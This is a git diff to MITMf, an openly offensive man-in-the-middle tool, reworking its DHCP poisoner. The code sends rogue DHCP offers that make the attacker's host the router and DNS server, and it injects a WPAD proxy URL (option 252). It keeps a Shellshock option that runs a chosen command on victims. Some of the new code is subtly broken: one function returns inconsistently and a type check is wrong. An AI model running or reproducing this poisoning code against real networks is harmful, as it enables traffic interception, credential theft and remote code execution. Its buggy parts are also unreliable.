diff --git a/config/mitmf.conf b/config/mitmf.conf index 09f9e58..cad2b4c 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -123,12 +123,6 @@ # Plugin configuration starts here # -[Spoof] - - [[DHCP]] - ip_pool = 192.168.1.10-50 - subnet = 255.255.255.0 - [Replace] [[Regex1]] diff --git a/core/beefapi.py b/core/beefapi.py index ff4210a..7a66797 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -201,7 +201,7 @@ class ARE_Rules(object): with open(rule_path, 'r') as rule: payload = rule.read() r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) - return r.text #currently the returned object can't be serialized to JSON + return r.json() def trigger(self, rule_id): r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index 6871384..cd6ff20 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -21,7 +21,7 @@ import threading import binascii import random -from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError +from netaddr import IPAddress, IPNetwork from core.logger import logger from scapy.all import * @@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, options, dhcpcfg): + def __init__(self, options): self.interface = options.interface self.ip_address = options.ip self.mac_address = options.mac self.shellshock = options.shellshock + self.netmask = options.netmask self.debug = False - self.dhcpcfg = dhcpcfg self.dhcp_dic = {} log.debug("interface => {}".format(self.interface)) log.debug("ip => {}".format(self.ip_address)) log.debug("mac => {}".format(self.mac_address)) + log.debug("netmask => {}".format(self.netmask)) log.debug("shellshock => {}".format(self.shellshock)) - log.debug("dhcpcfg => {}".format(self.dhcpcfg)) def start(self): self.s2 = conf.L2socket(iface=self.interface) @@ -62,30 +62,24 @@ class DHCPpoisoner(): if "Interrupted system call" not in e: log.error("Exception occurred while poisoning: {}".format(e)) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'] + def get_client_ip(self, xid, dhcp_options): try: - if '/' in pool: - ips = list(IPNetwork(pool)) - return str(random.choice(ips)) + field_name, req_addr = dhcp_options[2] + if field_name == 'requested_addr': + return 'requested', req_addr - elif '-' in pool: - start_addr = IPAddress(pool.split('-')[0]) - try: - end_addr = IPAddress(pool.split('-')[1]) - ips = list(IPRange(start_addr, end_addr)) - except AddrFormatError: - end_addr = list(start_addr.words) - end_addr[-1] = pool.split('-')[1] + raise ValueError + except ValueError: + for field in dhcp_options: + if (field is tuple) and (field[0] == 'requested_addr'): + return field[1] - end_addr = IPAddress('.'.join(map(str, end_addr))) - ips = list(IPRange(start_addr, end_addr)) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + return 'stored', client_ip - return str(random.choice(ips)) - - log.error('Specified invalid CIDR/Network range in DHCP pool option') - except AddrFormatError: - log.error('Specified invalid CIDR/Network range in DHCP pool option') + net = IPNetwork(self.ip_address + '/24') + return 'generated', random.choice(list(net)) def dhcp_callback(self, resp): if resp.haslayer(DHCP): @@ -94,15 +88,12 @@ class DHCPpoisoner(): mac_addr = resp[Ether].src raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - if resp[DHCP].options[0][1] == 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -110,19 +101,25 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "offer"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address)), "end"])) + log.info("Sending DHCP OFFER") self.s2.send(packet) if resp[DHCP].options[0][1] == 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -130,13 +127,14 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "ack"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), - ('rebinding_time', 138240)])) + ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address))])) if self.shellshock: log.info("Sending DHCP ACK with shellshock payload") diff --git a/core/utils.py b/core/utils.py index 2aecf73..d5ca410 100644 --- a/core/utils.py +++ b/core/utils.py @@ -24,7 +24,7 @@ import sys from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins -from scapy.all import get_if_addr, get_if_hwaddr +from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Utils", formatter) @@ -45,6 +45,11 @@ def set_ip_forwarding(value): file.write(str(value)) file.close() +def get_iface(): + iface = get_working_if() + log.debug("Interface {} seems to be up and running") + return iface + def get_ip(interface): try: ip_address = get_if_addr(interface) diff --git a/mitmf.py b/mitmf.py index 44f5349..5f8e0a8 100755 --- a/mitmf.py +++ b/mitmf.py @@ -46,13 +46,13 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") @@ -73,7 +73,9 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_ip, get_mac, shutdown +from core.utils import get_iface, get_ip, get_mac, shutdown +if not options.interface: + options.interface = get_iface() options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) diff --git a/plugins/spoof.py b/plugins/spoof.py index 13e6c36..f36cd9a 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") - dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp = DHCPpoisoner(options) dhcp.debug = debug self.tree_info.append('DHCP spoofing enabled') self.protocol_instances.append(dhcp) @@ -92,6 +92,7 @@ class Spoof(Plugin): group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network') options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')